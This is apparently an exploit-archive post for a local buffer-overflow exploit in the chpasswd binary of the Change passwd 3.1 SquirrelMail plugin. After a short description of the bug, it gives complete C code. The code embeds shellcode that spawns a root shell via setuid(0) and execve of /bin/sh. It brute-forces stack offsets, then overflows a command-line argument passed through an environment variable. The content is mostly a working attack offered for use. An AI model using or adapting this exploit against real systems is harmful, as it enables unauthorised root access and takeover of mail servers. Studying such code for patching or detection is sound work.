Change passwd 3.1 (SquirrelMail plugin )

["rod hedor" <rodhedor@xxxxxxxxxxx>]

Change passwd  3.1 (SquirrelMail plugin )

Coded by rod hedor

web-- http://lezr.com

[local exploit]

 * Multiple
 buffer overflows are present in the handling of command line
arguements in chpasswd.
  The bug allows a
hacker to exploit the process to run arbitrary code.

#include <stdio.h>
#include <stdlib.h>

const char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
                       "\x90\x90\x90\x90\x90\x90\x90\x90"
                       "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
                       "\x89\xe5\x31\xc0\x50\x55\x89\xe5"
                      "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
                      "\x2f\x62\x69\x89\xe3\x89\xe9\x89"
                      "\xea\xb0\x0b\xcd\x80";

long get_sp(){
        __asm__("movl %esp,%eax;");
};

int main(){
        char buffer[1024];
        long stack = get_sp();
        int result = 1;
        long offset = 0;
        printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");
        printf ("[+] Current stack [0x%x]\n",stack);
        while(offset <= 268435456){
        offset = offset + 1;
        stack = get_sp() + offset;
        memcpy(&buffer,"EGG=",4);
        int a = 4;
        while(a <= 108){
                memcpy(&buffer[a],"x",1);
                a = a + 1;}
        memcpy(&buffer[108],&stack,4);
        memcpy(&buffer[112],&shellcode,sizeof(shellcode));
        putenv(buffer);
        result = system("./chpasswd $EGG");
        if(result == 0){exit(0);};
        };
};

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